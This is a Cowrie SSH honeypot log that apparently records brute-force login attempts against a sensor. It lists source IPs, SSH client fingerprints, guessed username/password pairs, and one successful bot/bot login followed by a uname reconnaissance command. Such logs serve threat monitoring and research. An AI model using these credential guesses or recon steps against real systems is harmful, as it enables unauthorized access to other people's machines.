{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:48:11.041889Z","src_ip":"92.205.57.72","session":"f9aafca87fc6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qwerty77","message":"login attempt [ubuntu/qwerty77] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:48:11.433868Z","src_ip":"92.205.57.72","session":"f9aafca87fc6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:48:12.527725Z","src_ip":"92.205.57.72","session":"f9aafca87fc6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.205.57.72","src_port":47352,"dst_ip":"10.17.0.5","dst_port":22,"session":"34770390b9d3","protocol":"ssh","message":"New connection: 92.205.57.72:47352 (10.17.0.5:22) [session: 34770390b9d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:48:59.917773Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:48:59.923019Z","src_ip":"92.205.57.72","session":"34770390b9d3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:49:00.016218Z","src_ip":"92.205.57.72","session":"34770390b9d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testftp","password":"test123","message":"login attempt [testftp/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:49:00.414619Z","src_ip":"92.205.57.72","session":"34770390b9d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:49:01.516993Z","src_ip":"92.205.57.72","session":"34770390b9d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"200.187.71.114","src_port":43188,"dst_ip":"10.17.0.5","dst_port":22,"session":"2219b8ed042c","protocol":"ssh","message":"New connection: 200.187.71.114:43188 (10.17.0.5:22) [session: 2219b8ed042c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:49:12.024926Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:49:12.030729Z","src_ip":"200.187.71.114","session":"2219b8ed042c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:49:12.150106Z","src_ip":"200.187.71.114","session":"2219b8ed042c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"guest999","message":"login attempt [guest/guest999] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:49:12.641531Z","src_ip":"200.187.71.114","session":"2219b8ed042c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:49:13.759388Z","src_ip":"200.187.71.114","session":"2219b8ed042c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":33852,"dst_ip":"10.17.0.5","dst_port":22,"session":"7c96b33c3f95","protocol":"ssh","message":"New connection: 193.32.162.145:33852 (10.17.0.5:22) [session: 7c96b33c3f95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:49:15.340614Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:49:15.345580Z","src_ip":"193.32.162.145","session":"7c96b33c3f95","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:49:15.460522Z","src_ip":"193.32.162.145","session":"7c96b33c3f95","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"bot","password":"bot","message":"login attempt [bot/bot] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:49:15.801626Z","src_ip":"193.32.162.145","session":"7c96b33c3f95","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:49:16.063980Z","src_ip":"193.32.162.145","session":"7c96b33c3f95","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/./uname -s -v -n -r -m","message":"CMD: /bin/./uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:49:16.067366Z","src_ip":"193.32.162.145","session":"7c96b33c3f95","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","size":71,"shasum":"876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:49:16.177430Z","src_ip":"193.32.162.145","session":"7c96b33c3f95","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:49:16.182820Z","src_ip":"193.32.162.145","session":"7c96b33c3f95","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"220.247.224.226","src_port":27755,"dst_ip":"159.203.135.109","dst_port":22,"session":"a09c3831ebcf","protocol":"ssh","message":"New connection: 220.247.224.226:27755 (159.203.135.109:22) [session: a09c3831ebcf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:49:42.967824Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:49:42.973110Z","src_ip":"220.247.224.226","session":"a09c3831ebcf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:49:43.207695Z","src_ip":"220.247.224.226","session":"a09c3831ebcf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"password123","message":"login attempt [hadoop/password123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:49:44.147805Z","src_ip":"220.247.224.226","session":"a09c3831ebcf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:49:45.379081Z","src_ip":"220.247.224.226","session":"a09c3831ebcf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.205.57.72","src_port":54600,"dst_ip":"10.17.0.5","dst_port":22,"session":"f86cab3c5a10","protocol":"ssh","message":"New connection: 92.205.57.72:54600 (10.17.0.5:22) [session: f86cab3c5a10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:49:50.514768Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:49:50.523577Z","src_ip":"92.205.57.72","session":"f86cab3c5a10","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:49:50.615583Z","src_ip":"92.205.57.72","session":"f86cab3c5a10","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"qlserver","password":"qlserver","message":"login attempt [qlserver/qlserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:49:51.013701Z","src_ip":"92.205.57.72","session":"f86cab3c5a10","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:49:52.108596Z","src_ip":"92.205.57.72","session":"f86cab3c5a10","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"200.187.71.114","src_port":38946,"dst_ip":"10.17.0.5","dst_port":22,"session":"a2ba789b9487","protocol":"ssh","message":"New connection: 200.187.71.114:38946 (10.17.0.5:22) [session: a2ba789b9487]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:50:15.859359Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:50:15.865480Z","src_ip":"200.187.71.114","session":"a2ba789b9487","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:50:15.980730Z","src_ip":"200.187.71.114","session":"a2ba789b9487","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"1234567890","message":"login attempt [git/1234567890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:50:16.473244Z","src_ip":"200.187.71.114","session":"a2ba789b9487","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:50:17.595227Z","src_ip":"200.187.71.114","session":"a2ba789b9487","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.205.57.72","src_port":37894,"dst_ip":"10.17.0.5","dst_port":22,"session":"7ea8698d1c32","protocol":"ssh","message":"New connection: 92.205.57.72:37894 (10.17.0.5:22) [session: 7ea8698d1c32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:50:38.998663Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:50:39.003460Z","src_ip":"92.205.57.72","session":"7ea8698d1c32","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:50:39.149230Z","src_ip":"92.205.57.72","session":"7ea8698d1c32","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"doadmin","password":"doadmin123","message":"login attempt [doadmin/doadmin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:50:39.503132Z","src_ip":"92.205.57.72","session":"7ea8698d1c32","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:50:40.597849Z","src_ip":"92.205.57.72","session":"7ea8698d1c32","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"220.247.224.226","src_port":27408,"dst_ip":"159.203.135.109","dst_port":22,"session":"3e34ee665b9b","protocol":"ssh","message":"New connection: 220.247.224.226:27408 (159.203.135.109:22) [session: 3e34ee665b9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:50:44.641156Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:50:44.645358Z","src_ip":"220.247.224.226","session":"3e34ee665b9b","protocol":"ssh"}
